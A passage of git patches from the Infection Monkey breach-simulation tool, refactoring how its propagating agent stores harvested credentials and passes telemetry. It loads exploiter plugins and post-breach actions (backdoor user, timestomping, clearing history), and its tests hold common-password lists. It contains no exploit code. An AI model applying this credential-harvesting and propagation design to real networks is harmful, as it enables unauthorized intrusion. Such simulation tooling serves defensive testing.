LegacyTelemetryMessengerAdapter() + self._telemetry_messenger = LegacyTelemetryMessengerAdapter() self._current_depth = self._opts.depth self._master = None @@ -125,7 +124,7 @@ class InfectionMonkey: if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - run_aws_environment_check(self.telemetry_messenger) + run_aws_environment_check(self._telemetry_messenger) should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop() if should_stop: @@ -183,21 +182,21 @@ class InfectionMonkey: local_network_interfaces = InfectionMonkey._get_local_network_interfaces() control_channel = ControlChannel(self._default_server, GUID) - self._credentials_store = AggregatingCredentialsStore(control_channel) + credentials_store = AggregatingCredentialsStore(control_channel) - puppet = self._build_puppet() + puppet = self._build_puppet(credentials_store) victim_host_factory = self._build_victim_host_factory(local_network_interfaces) telemetry_messenger = ExploitInterceptingTelemetryMessenger( - self.telemetry_messenger, self._monkey_inbound_tunnel + self._telemetry_messenger, self._monkey_inbound_tunnel ) telemetry_messenger = CredentialsInterceptingTelemetryMessenger( ExploitInterceptingTelemetryMessenger( - self.telemetry_messenger, self._monkey_inbound_tunnel + self._telemetry_messenger, self._monkey_inbound_tunnel ), - self._credentials_store, + credentials_store, ) self._master = AutomatedMaster( @@ -207,7 +206,7 @@ class InfectionMonkey: victim_host_factory, control_channel, local_network_interfaces, - self._credentials_store, + credentials_store, ) @staticmethod @@ -218,7 +217,7 @@ class InfectionMonkey: return local_network_interfaces - def _build_puppet(self) -> IPuppet: + def _build_puppet(self, credentials_store: ICredentialsStore) -> IPuppet: puppet = Puppet() puppet.load_plugin( @@ -228,7 +227,7 @@ class InfectionMonkey: ) puppet.load_plugin( "SSHCollector", - SSHCredentialCollector(self.telemetry_messenger), + SSHCredentialCollector(self._telemetry_messenger), PluginType.CREDENTIAL_COLLECTOR, ) @@ -241,7 +240,7 @@ class InfectionMonkey: agent_repository = CachingAgentRepository( f"https://{self._default_server}", ControlClient.proxies ) - exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repository) + exploit_wrapper = ExploiterWrapper(self._telemetry_messenger, agent_repository) puppet.load_plugin( "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER @@ -260,7 +259,7 @@ class InfectionMonkey: ) zerologon_telemetry_messenger = CredentialsInterceptingTelemetryMessenger( - self.telemetry_messenger, self._credentials_store + self._telemetry_messenger, credentials_store ) zerologon_wrapper = ExploiterWrapper(zerologon_telemetry_messenger, agent_repository) puppet.load_plugin( @@ -271,54 +270,54 @@ class InfectionMonkey: puppet.load_plugin( "CommunicateAsBackdoorUser", - CommunicateAsBackdoorUser(self.telemetry_messenger), + CommunicateAsBackdoorUser(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( "ModifyShellStartupFiles", - ModifyShellStartupFiles(self.telemetry_messenger), + ModifyShellStartupFiles(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( - "HiddenFiles", HiddenFiles(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + "HiddenFiles", HiddenFiles(self._telemetry_messenger), PluginType.POST_BREACH_ACTION ) puppet.load_plugin( "TrapCommand", - CommunicateAsBackdoorUser(self.telemetry_messenger), + CommunicateAsBackdoorUser(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( "ChangeSetuidSetgid", - ChangeSetuidSetgid(self.telemetry_messenger), + ChangeSetuidSetgid(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( - "ScheduleJobs", ScheduleJobs(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + "ScheduleJobs", ScheduleJobs(self._telemetry_messenger), PluginType.POST_BREACH_ACTION ) puppet.load_plugin( - "Timestomping", Timestomping(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + "Timestomping", Timestomping(self._telemetry_messenger), PluginType.POST_BREACH_ACTION ) puppet.load_plugin( "AccountDiscovery", - AccountDiscovery(self.telemetry_messenger), + AccountDiscovery(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( "ProcessListCollection", - ProcessListCollection(self.telemetry_messenger), + ProcessListCollection(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( - "TrapCommand", TrapCommand(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + "TrapCommand", TrapCommand(self._telemetry_messenger), PluginType.POST_BREACH_ACTION ) puppet.load_plugin( "SignedScriptProxyExecution", - SignedScriptProxyExecution(self.telemetry_messenger), + SignedScriptProxyExecution(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( "ClearCommandHistory", - ClearCommandHistory(self.telemetry_messenger), + ClearCommandHistory(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py similarity index 56% rename from monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py rename to monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py index 1035de4d0..ff25dc02f 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py @@ -6,7 +6,7 @@ from infection_monkey.credential_collectors import Password, SSHKeypair, Usernam from infection_monkey.credential_store import AggregatingCredentialsStore from infection_monkey.i_puppet import Credentials -DEFAULT_CREDENTIALS = { +CONTROL_CHANNEL_CREDENTIALS = { "exploit_user_list": ["Administrator", "root", "user1"], "exploit_password_list": ["123456", "123456789", "password", "root"], "exploit_lm_hash_list": ["aasdf23asd1fdaasadasdfas"], @@ -28,7 +28,7 @@ PROPAGATION_CREDENTIALS = { "exploit_ssh_keys": [{"public_key": "some_public_key", "private_key": "some_private_key"}], } -TELEM_CREDENTIALS = [ +CREDENTIALS_COLLECTION = [ Credentials( [Username("user1"), Username("user3")], [ @@ -43,58 +43,51 @@ TELEM_CREDENTIALS = [ @pytest.fixture def aggregating_credentials_store() -> AggregatingCredentialsStore: control_channel = MagicMock() - control_channel.get_credentials_for_propagation.return_value = DEFAULT_CREDENTIALS + control_channel.get_credentials_for_propagation.return_value = CONTROL_CHANNEL_CREDENTIALS return AggregatingCredentialsStore(control_channel) def test_get_credentials_from_store(aggregating_credentials_store): - aggregating_credentials_store.get_credentials() + actual_stored_credentials = aggregating_credentials_store.get_credentials() - actual_stored_credentials = aggregating_credentials_store.stored_credentials + print(actual_stored_credentials) - assert ( - actual_stored_credentials["exploit_user_list"] == DEFAULT_CREDENTIALS["exploit_user_list"] + assert actual_stored_credentials["exploit_user_list"] == set( + CONTROL_CHANNEL_CREDENTIALS["exploit_user_list"] ) - assert ( - actual_stored_credentials["exploit_password_list"] - == DEFAULT_CREDENTIALS["exploit_password_list"] + assert actual_stored_credentials["exploit_password_list"] == set( + CONTROL_CHANNEL_CREDENTIALS["exploit_password_list"] ) - assert ( - actual_stored_credentials["exploit_ntlm_hash_list"] - == DEFAULT_CREDENTIALS["exploit_ntlm_hash_list"] + assert actual_stored_credentials["exploit_ntlm_hash_list"] == set( + CONTROL_CHANNEL_CREDENTIALS["exploit_ntlm_hash_list"] ) for ssh_keypair in actual_stored_credentials["exploit_ssh_keys"]: - assert ssh_keypair in DEFAULT_CREDENTIALS["exploit_ssh_keys"] + assert ssh_keypair in CONTROL_CHANNEL_CREDENTIALS["exploit_ssh_keys"] -def test_add_credentials_to_empty_store(aggregating_credentials_store): - aggregating_credentials_store.add_credentials(TELEM_CREDENTIALS) +def test_add_credentials_to_store(aggregating_credentials_store): + aggregating_credentials_store.add_credentials(CREDENTIALS_COLLECTION) - assert aggregating_credentials_store.stored_credentials == PROPAGATION_CREDENTIALS + actual_stored_credentials = aggregating_credentials_store.get_credentials() - -def test_add_credentials_to_full_store(aggregating_credentials_store): - - aggregating_credentials_store.get_credentials() - - aggregating_credentials_store.add_credentials(TELEM_CREDENTIALS) - - actual_stored_credentials = aggregating_credentials_store.stored_credentials - - assert actual_stored_credentials["exploit_user_list"] == [ - "Administrator", - "root", - "user1", - "user3", - ] - assert actual_stored_credentials["exploit_password_list"] == [ - "123456", - "123456789", - "abcdefg", - "password", - "root", - ] + assert actual_stored_credentials["exploit_user_list"] == set( + [ + "Administrator", + "root", + "user1", + "user3", + ] + ) + assert actual_stored_credentials["exploit_password_list"] == set( + [ + "123456", + "123456789", + "abcdefg", + "password", + "root", + ] + ) for ssh_keypair in actual_stored_credentials["exploit_ssh_keys"]: - assert ssh_keypair in DEFAULT_CREDENTIALS["exploit_ssh_keys"] + assert ssh_keypair in CONTROL_CHANNEL_CREDENTIALS["exploit_ssh_keys"] diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py index 1e2d6b468..214f001b6 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py @@ -1,7 +1,6 @@ from unittest.mock import MagicMock from infection_monkey.credential_collectors import Password, SSHKeypair, Username -from infection_monkey.credential_store import AggregatingCredentialsStore from infection_monkey.i_puppet import Credentials from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.credentials_telem import CredentialsTelem @@ -56,19 +55,14 @@ def test_credentials_generic_telemetry(): def test_successful_intercepting_credentials_telemetry(): mock_telemetry_messenger = MagicMock() - aggregating_credentials_store = AggregatingCredentialsStore(MagicMock()) - mock_empty_credentials_telem = MockCredentialsTelem([]) + mock_credentials_store = MagicMock() + mock_empty_credentials_telem = MockCredentialsTelem(TELEM_CREDENTIALS) telemetry_messenger = CredentialsInterceptingTelemetryMessenger( - mock_telemetry_messenger, aggregating_credentials_store + mock_telemetry_messenger, mock_credentials_store ) telemetry_messenger.send_telemetry(mock_empty_credentials_telem) assert mock_telemetry_messenger.send_telemetry.called - assert not aggregating_credentials_store.stored_credentials - - mock_credentials_telem = MockCredentialsTelem(TELEM_CREDENTIALS) - telemetry_messenger.send_telemetry(mock_credentials_telem) - - assert aggregating_credentials_store.stored_credentials + assert mock_credentials_store.add_credentials.called From 763cf578c74f70bcc24c001e950bdc3db90269de Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 11:52:43 -0400 Subject: [PATCH 0928/1110] Agent: Move credentials request caching to AggregatingCredentialsStore The ControlChannel shouldn't be concerned with caching. It's mission should be to service requests. The caching is more appropriately placed in the AggregatingCredentialsStore. --- .../credential_store/aggregating_credentials_store.py | 9 ++++++++- monkey/infection_monkey/master/control_channel.py | 7 ++----- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py index 61883a49c..696b87bd5 100644 --- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -5,11 +5,14 @@ from common.common_consts.credential_component_type import CredentialComponentTy from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_puppet import Credentials from infection_monkey.typing import PropagationCredentials +from infection_monkey.utils.decorators import request_cache from .i_credentials_store import ICredentialsStore logger = logging.getLogger(__name__) +CREDENTIALS_POLL_PERIOD_SEC = 30 + class AggregatingCredentialsStore(ICredentialsStore): def __init__(self, control_channel: IControlChannel): @@ -52,7 +55,7 @@ class AggregatingCredentialsStore(ICredentialsStore): def get_credentials(self) -> PropagationCredentials: try: - propagation_credentials = self._control_channel.get_credentials_for_propagation() + propagation_credentials = self._get_credentials_from_control_channel() # Needs to be reworked when exploiters accepts sequence of Credentials self._aggregate_credentials(propagation_credentials) @@ -62,6 +65,10 @@ class AggregatingCredentialsStore(ICredentialsStore): self._stored_credentials = {} logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") + @request_cache(CREDENTIALS_POLL_PERIOD_SEC) + def _get_credentials_from_control_channel(self) -> PropagationCredentials: + return self._control_channel.get_credentials_for_propagation() + def _aggregate_credentials(self, credentials_to_aggr: Mapping): for cred_attr, credentials_values in credentials_to_aggr.items(): self._set_attribute(cred_attr, credentials_values) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index d6781af7f..eb6dd12d5 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -7,14 +7,12 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError -from infection_monkey.utils.decorators import request_cache +from infection_monkey.typing import PropagationCredentials requests.packages.urllib3.disable_warnings() logger = logging.getLogger(__name__) -CREDENTIALS_POLL_PERIOD_SEC = 30 - class ControlChannel(IControlChannel): def __init__(self, server: str, agent_id: str): @@ -69,8 +67,7 @@ class ControlChannel(IControlChannel): ) as e: raise IslandCommunicationError(e) - @request_cache(CREDENTIALS_POLL_PERIOD_SEC) - def get_credentials_for_propagation(self) -> dict: + def get_credentials_for_propagation(self) -> PropagationCredentials: propagation_credentials_url = ( f"https://{self._control_channel_server}/api/propagation-credentials/{self._agent_id}" ) From a3c5d9dd7a7da50db81d35171dee893fbdbe5530 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 12:39:52 -0400 Subject: [PATCH 0929/1110] Agent: Remove stale TODO in monkey.py --- monkey/infection_monkey/monkey.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 9576f76c0..1f0a53a63 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -83,7 +83,6 @@ class InfectionMonkey: self._opts = self._get_arguments(args) self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(self._opts.server) self._default_server = self._opts.server - # TODO used in propogation phase self._monkey_inbound_tunnel = None self.telemetry_messenger = LegacyTelemetryMessengerAdapter() self._current_depth = self._opts.depth From baa9de408788ff408a69f4950a57af66c019a18b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 12:44:41 -0400 Subject: [PATCH 0930/1110] Agent: Remove stale TODO in AutomatedMaster --- monkey/infection_monkey/master/automated_master.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index f70d90b46..1e837bb74 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -90,9 +90,6 @@ class AutomatedMaster(IMaster): logger.warning("Timed out waiting for the simulation to stop") # Since the master thread and all child threads are daemon threads, they will be # forcefully killed when the program exits. - # TODO: Daemon threads to not die when the parent THREAD does, but when the parent - # PROCESS does. This could lead to conflicts between threads that refuse to die - # and the cleanup() function. Come up with a solution. logger.warning("Forcefully killing the simulation") def _wait_for_master_stop_condition(self): From 9ded75d05dc648d2e0ed082db5af857a371f13ca Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 12:57:31 -0400 Subject: [PATCH 0931/1110] Agent: Update TODO in bit_manipulators.py --- monkey/infection_monkey/utils/bit_manipulators.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/utils/bit_manipulators.py b/monkey/infection_monkey/utils/bit_manipulators.py index 25280b813..8de1460ed 100644 --- a/monkey/infection_monkey/utils/bit_manipulators.py +++ b/monkey/infection_monkey/utils/bit_manipulators.py @@ -14,6 +14,10 @@ def flip_bits(data: bytes) -> bytes: # Remove the flip_bits_in_single_byte() function and rework the # unit tests so that we still have a high-degree of confidence # that this code is correct. + # + # EDIT: I believe PyPy will attempt to inline functions + # automatically. I don't know that CPython makes any such + # optimizations. flipped_bits[i] = flip_bits_in_single_byte(byte) return bytes(flipped_bits) From 2ecfdcfe46cb6ecfbfcc1f044f2ed475f0b990f2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 13:02:26 -0400 Subject: [PATCH 0932/1110] Agent: Remove stale TODO in ZerologonExploiter --- monkey/infection_monkey/exploit/zerologon.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index df5b7b4c6..7a6a41dca 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -170,7 +170,6 @@ class ZerologonExploiter(HostExploiter): # Use above extracted credentials to get original DC password's hashes. logger.debug("Getting original DC password's NT hash.") original_pwd_nthash = None - # TODO: start timer for user_details in user_creds: username = user_details[0] user_pwd_hashes = [ From 7e476fb64911241040ebca3f67282aaa2221efa8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 13:38:18 -0400 Subject: [PATCH 0933/1110] UT: Fix failing telemetry/pba tests --- .../post_breach/actions/test_users_custom_pba.py | 14 ++++++++------ .../telemetry/test_post_breach_telem.py | 3 ++- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py index e7da336eb..2618f8d93 100644 --- a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py +++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py @@ -1,3 +1,5 @@ +from unittest.mock import MagicMock + import pytest from infection_monkey.post_breach.actions.users_custom_pba import UsersPBA @@ -43,7 +45,7 @@ def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, "infection_monkey.config.WormConfiguration.PBA_linux_filename", CUSTOM_LINUX_FILENAME, ) - return UsersPBA() + return UsersPBA(MagicMock()) def test_command_linux_custom_file_and_cmd( @@ -63,7 +65,7 @@ def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_pa "infection_monkey.config.WormConfiguration.PBA_windows_filename", CUSTOM_WINDOWS_FILENAME, ) - return UsersPBA() + return UsersPBA(MagicMock()) def test_command_windows_custom_file_and_cmd( @@ -80,7 +82,7 @@ def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypa "infection_monkey.config.WormConfiguration.PBA_linux_filename", CUSTOM_LINUX_FILENAME, ) - return UsersPBA() + return UsersPBA(MagicMock()) def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file): @@ -95,7 +97,7 @@ def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monk "infection_monkey.config.WormConfiguration.PBA_windows_filename", CUSTOM_WINDOWS_FILENAME, ) - return UsersPBA() + return UsersPBA(MagicMock()) def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file): @@ -110,7 +112,7 @@ def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypat CUSTOM_LINUX_CMD, ) monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None) - return UsersPBA() + return UsersPBA(MagicMock()) def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): @@ -125,7 +127,7 @@ def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monke CUSTOM_WINDOWS_CMD, ) monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None) - return UsersPBA() + return UsersPBA(MagicMock()) def test_command_windows_custom_cmd(mock_UsersPBA_windows_custom_cmd): diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py index d71a82e2a..fff070ad1 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py @@ -2,6 +2,7 @@ import json import pytest +from infection_monkey.i_puppet import PostBreachData from infection_monkey.telemetry.post_breach_telem import PostBreachTelem HOSTNAME = "hostname" @@ -22,7 +23,7 @@ class StubSomePBA: def post_breach_telem_test_instance(monkeypatch): monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) monkeypatch.setattr(PostBreachTelem, "_get_os", lambda: OS) - return PostBreachTelem(PBA_NAME, PBA_COMMAND, RESULT) + return PostBreachTelem(PostBreachData(PBA_NAME, PBA_COMMAND, RESULT)) def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): From 6ab7bd2f45a27748646a93a7c79023e1967c662b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 29 Mar 2022 19:34:19 +0200 Subject: [PATCH 0934/1110] Agent, UT: Remove leftover that cause overwrite in CredentialsStore * Use `add` instead of `update` - `add` doesn't let to have duplicates * Move TestTelem to conftest in UT telemetry messenger --- .../aggregating_credentials_store.py | 13 +++++----- .../test_aggregating_credentials_store.py | 24 ++++++++++--------- .../telemetry/messengers/conftest.py | 18 ++++++++++++++ ...ntials_intercepting_telemetry_messenger.py | 14 +---------- ...xploit_intercepting_telemetry_messenger.py | 14 +---------- 5 files changed, 39 insertions(+), 44 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/messengers/conftest.py diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py index 696b87bd5..eef6f72fc 100644 --- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -36,16 +36,16 @@ class AggregatingCredentialsStore(ICredentialsStore): for secret in credentials.secrets: if secret.credential_type is CredentialComponentType.PASSWORD: - self._stored_credentials.setdefault("exploit_password_list", set()).update( - [secret.password] + self._stored_credentials.setdefault("exploit_password_list", set()).add( + secret.password ) elif secret.credential_type is CredentialComponentType.LM_HASH: - self._stored_credentials.setdefault("exploit_lm_hash_list", set()).update( - [secret.lm_hash] + self._stored_credentials.setdefault("exploit_lm_hash_list", set()).add( + secret.lm_hash ) elif secret.credential_type is CredentialComponentType.NT_HASH: - self._stored_credentials.setdefault("exploit_ntlm_hash_list", set()).update( - [secret.nt_hash] + self._stored_credentials.setdefault("exploit_ntlm_hash_list", set()).add( + secret.nt_hash ) elif secret.credential_type is CredentialComponentType.SSH_KEYPAIR: self._set_attribute( @@ -78,7 +78,6 @@ class AggregatingCredentialsStore(ICredentialsStore): return if isinstance(credentials_values[0], dict): - self._stored_credentials[attribute_to_be_set] = [] self._stored_credentials.setdefault(attribute_to_be_set, []).extend(credentials_values) self._stored_credentials[attribute_to_be_set] = [ dict(s_c) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py index ff25dc02f..0b6fd8545 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_credentials_store.py @@ -21,19 +21,21 @@ CONTROL_CHANNEL_CREDENTIALS = { ], } - -PROPAGATION_CREDENTIALS = { - "exploit_user_list": ["user1", "user3"], - "exploit_password_list": ["abcdefg", "root"], - "exploit_ssh_keys": [{"public_key": "some_public_key", "private_key": "some_private_key"}], -} - -CREDENTIALS_COLLECTION = [ +TEST_CREDENTIALS = [ Credentials( [Username("user1"), Username("user3")], [ Password("abcdefg"), Password("root"), + SSHKeypair(public_key="some_public_key_1", private_key="some_private_key_1"), + ], + ) +] + +SSH_KEYS_CREDENTIALS = [ + Credentials( + [Username("root")], + [ SSHKeypair(public_key="some_public_key", private_key="some_private_key"), ], ) @@ -67,7 +69,8 @@ def test_get_credentials_from_store(aggregating_credentials_store): def test_add_credentials_to_store(aggregating_credentials_store): - aggregating_credentials_store.add_credentials(CREDENTIALS_COLLECTION) + aggregating_credentials_store.add_credentials(TEST_CREDENTIALS) + aggregating_credentials_store.add_credentials(SSH_KEYS_CREDENTIALS) actual_stored_credentials = aggregating_credentials_store.get_credentials() @@ -89,5 +92,4 @@ def test_add_credentials_to_store(aggregating_credentials_store): ] ) - for ssh_keypair in actual_stored_credentials["exploit_ssh_keys"]: - assert ssh_keypair in CONTROL_CHANNEL_CREDENTIALS["exploit_ssh_keys"] + assert len(actual_stored_credentials["exploit_ssh_keys"]) == 3 diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/conftest.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/conftest.py new file mode 100644 index 000000000..c29555262 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/conftest.py @@ -0,0 +1,18 @@ +import pytest + +from infection_monkey.telemetry.base_telem import BaseTelem + + +@pytest.fixture(scope="package") +def TestTelem(): + class InnerTestTelem(BaseTelem): + telem_category = None + __test__ = False + + def __init__(self): + pass + + def get_data(self): + return {} + + return InnerTestTelem diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py index 214f001b6..7481bff34 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_credentials_intercepting_telemetry_messenger.py @@ -2,7 +2,6 @@ from unittest.mock import MagicMock from infection_monkey.credential_collectors import Password, SSHKeypair, Username from infection_monkey.i_puppet import Credentials -from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.messengers.credentials_intercepting_telemetry_messenger import ( CredentialsInterceptingTelemetryMessenger, @@ -20,17 +19,6 @@ TELEM_CREDENTIALS = [ ] -class TestTelem(BaseTelem): - telem_category = None - __test__ = False - - def __init__(self): - pass - - def get_data(self): - return {} - - class MockCredentialsTelem(CredentialsTelem): def __init(self, credentials): super().__init__(credentials) @@ -39,7 +27,7 @@ class MockCredentialsTelem(CredentialsTelem): return {} -def test_credentials_generic_telemetry(): +def test_credentials_generic_telemetry(TestTelem): mock_telemetry_messenger = MagicMock() mock_credentials_store = MagicMock() diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py index b07ea4a1d..969489107 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py @@ -2,24 +2,12 @@ from unittest.mock import MagicMock from infection_monkey.i_puppet.i_puppet import ExploiterResultData from infection_monkey.model.host import VictimHost -from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import ( ExploitInterceptingTelemetryMessenger, ) -class TestTelem(BaseTelem): - telem_category = None - __test__ = False - - def __init__(self): - pass - - def get_data(self): - return {} - - class MockExpliotTelem(ExploitTelem): def __init__(self, propagation_success): erd = ExploiterResultData() @@ -30,7 +18,7 @@ class MockExpliotTelem(ExploitTelem): return {} -def test_generic_telemetry(): +def test_generic_telemetry(TestTelem): mock_telemetry_messenger = MagicMock() mock_tunnel = MagicMock() From 52ff1e894a94b460352f5f361ee23926e14d89c3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Mar 2022 14:24:08 -0400 Subject: [PATCH 0935/1110] Swimm: update exercise Add a new Post Breach Action (PBA) afMu3y3ny5lnrYFWl3EI --- .swm/afMu3y3ny5lnrYFWl3EI.swm | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/.swm/afMu3y3ny5lnrYFWl3EI.swm b/.swm/afMu3y3ny5lnrYFWl3EI.swm index 89e6a8be9..1da171e62 100644 --- a/.swm/afMu3y3ny5lnrYFWl3EI.swm +++ b/.swm/afMu3y3ny5lnrYFWl3EI.swm @@ -34,15 +34,18 @@ "lines": [ " ", " class AccountDiscovery(PBA):", - " def __init__(self):", + " def __init__(self, telemetry_messenger: ITelemetryMessenger):", "* linux_cmds, windows_cmds = get_commands_to_discover_accounts()", "+ # SWIMMER: Implement here!", "* super().__init__(", "+ pass", - "* POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", + "* telemetry_messenger,", + "* POST_BREACH_ACCOUNT_DISCOVERY,", + "* linux_cmd=\" \".join(linux_cmds),", + "* windows_cmd=windows_cmds,", "* )" ], - "firstLineNumber": 7, + "firstLineNumber": 8, "path": "monkey/infection_monkey/post_breach/actions/discover_accounts.py", "comments": [] }, @@ -65,7 +68,7 @@ " \"type\": \"string\",", " \"enum\": [\"ClearCommandHistory\"]," ], - "firstLineNumber": 80, + "firstLineNumber": 78, "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", "comments": [] }, @@ -77,11 +80,11 @@ "symbols": {}, "file_version": "2.0.3", "meta": { - "app_version": "0.5.7-0", + "app_version": "0.6.6-2", "file_blobs": { - 